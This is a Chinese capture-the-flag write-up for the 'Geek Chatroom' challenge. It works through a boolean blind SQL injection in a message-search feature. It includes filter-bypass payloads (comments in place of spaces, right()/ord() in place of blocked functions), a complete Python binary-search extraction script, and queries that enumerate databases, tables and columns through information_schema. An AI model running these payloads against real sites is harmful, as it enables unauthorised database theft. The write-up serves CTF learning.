第九屆極客大挑戰——Geek Chatroom(sql盲注)
引言:因為太想加入三葉草了,所以極客大挑戰這段時間一直在努力的學習,原來還真沒想到能在比賽中拿到排行榜第一的成績,不過現在看來努力始終都是有回報的。但我依然還是比較菜啊-.-,最近卻有很多夥伴加我好友,一來就叫我大佬,讓我深感有愧-.-,既然都想看我wp,那我就挑幾道題寫寫好了,口拙詞劣還望見諒。
首先觀察這個web應用的功能,可以任意留言,也可以搜尋留言,當然我還用cansina掃描過網站,檢視過原始碼,抓包檢視過header等。沒發現其他提示的情況下斷定這就是個sql注入,可能存在的注入點呢,就是留言時產生 insert into 注入,或者搜尋時產生的 like '%xx%' 注入。經過多次嘗試,發現留言板不存在注入點,注入點就在搜尋功能中。
有過網站開發經驗的應該很清楚搜尋功能一般是這樣實現的
select * from users where name like '%tom%';
%是萬用字元,匹配零個或多個字元,這句sql便是查詢users表中所有name欄位裡帶tom的。
我猜想該web應用後臺的查詢功能語句如下
select * from message where message like '%xxx%';
所以構造語句 123456789%'#
可以看到成功搜尋到123456789,因為後臺的語句被拼接成了
select* from message where message like '%123456789%’#%'
即
select * from message where message like '%123456789%'
當我嘗試union查詢的時候,發現顯示
看來有對某些關鍵字有過濾,union不能用就不能讓後臺資料直接顯示了(也或是存在我不知道的方法),不過到這步我就自然想到sql盲注,於是構造
語句注入成功,and 1 條件為真就可以查到資料,and 0 條件為假便不能查到資料。我這裡用了括號,這是因為經過多次測試,發現對空格也有過濾或者替換,只要出現空格,語句就錯誤,所以便用括號來繞過空格,當然用註釋/**/也是可以的
接下來就是常規的sql盲注步驟,要注意的就是這裡過濾了文字擷取函式substr(),mid(),和字元轉ascii碼函式ascii()等,但是沒有過濾left(),right()和ord(),那麼就可以利用right()來擷取字串,雖然截取出來是一段字串,但是用ord()轉換一段字串為ascii碼的話,只會取第一個字元,而且right第二個引數大於字串長度的話是不會有影響的,和等於字串長度的結果相同,例如
rigth('hello',10) == 'hello' ord('hello') == ord('h')
於是便可以用right()和ord()遍歷每一個字元,猜解整個欄位
ord(right('hello',5)) == ord('h') ord(right('hello',4)) == ord('e') ord(right('hello',3)) == ord('l')
我用二分法寫了一個盲注的python指令碼,程式碼寫的醜...大家湊合看,當然不用二分法也行,可以逐個字元對比,不過那樣效率極低,極不推薦,至於多執行緒我沒學過就不討論了。其中第16行的有個 .format(str(30-index)) 裡面的30要猜解的當前欄位的長度,這個是一開始任意猜的(當然可以先用length()函式確切的判斷長度,我覺得麻煩還不如自己猜一個)
以下指令碼只演示了猜解當前資料庫名
1 import requests 2 import re 3 4 requests=requests.session() 5 6 strall=[] 7 strall.append('0') 8 for i in range(33,128): 9 strall.append(str(i)) 10 11 def isthis(index,charascii,compare): 12 url='http://daedalus.kim:9000/index.php?act=search' 13 headers={ 14 'Content-Type': 'application/x-www-form-urlencoded', 15 } 16 data="keyword=123456789%'/**/and/**/ord(right((select/**/database()),{}))".format(str(30-index))+compare+"{}#&submit=Search".format(charascii) 17 print data 18 19 r=requests.post(url=url,headers=headers,data=data) 20 21 a=True 22 23 24 if r.text.find('There are no messages')>=0: 25 print 'false' 26 a=False 27 else: 28 print 'true' 29 a=True 30 31 32 33 return a 34 35 ans='' 36 flag=0 37 for index in range(1,99): 38 left=0 39 right=len(strall) 40 if flag: 41 break 42 43 while left<=right: 44 mid=(left+right)>>1 45 if isthis(index,strall[mid],">"): 46 left=mid+1 47 elif isthis(index,strall[mid],"<"): 48 right=mid-1 49 else: 50 if strall[mid]=='0': 51 flag=1 52 break 53 value=chr(int(strall[mid])) 54 ans+=value 55 print ans 56 break 57 58 print ans 59 60 raw_input('done')
由於我猜的資料庫名是30位,所以這裡出現的即是30個字元,當然很明顯可以看出資料庫就是simple_message_board
後面我掉了次坑,我猜解了simple_message_board資料庫裡的所有表名,只有一張message表,猜解message表的所有列名,發現只有id,username,message,並沒有flag,一開始以為有人攪屎,去問了運維發現沒有,而且這題也是我拿的一血,怎麼會有人攪屎呢,於是我就想到flag可能在其他資料庫,所以先來猜解下所有資料庫名,不知道mysql裡的information_schema資料庫的小夥伴可以先去百度一下,這裡我就不多解釋了,反正在這個資料庫裡可以查到所有資料庫名,表名還有列名,在sql注入中經常用到
查所有資料庫名的sql即是
select group_concat(schema_name) from information_schema.schemata
然後把我腳本里的16行改成
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{}))".format(str(50-index))+compare+"{}#&submit=Search".format(charascii)
這個就很明顯了吧,有個叫做flag的資料庫
接著猜解表名,16行改成
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)
flag資料庫裡有個flag表
接著猜列名,16行改成
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='flag'/**/and/**/table_name='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)
就一列,flag
最後猜解欄位,16行改為
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(flag)/**/from/**/flag.flag),{}))".format(str(25-index))+compare+"{}#&submit=Search".format(charascii)
因為我猜的長度是25,所以這裡有25個字元,不過flag是SYC及其後的內容SYC{xxxxxxx}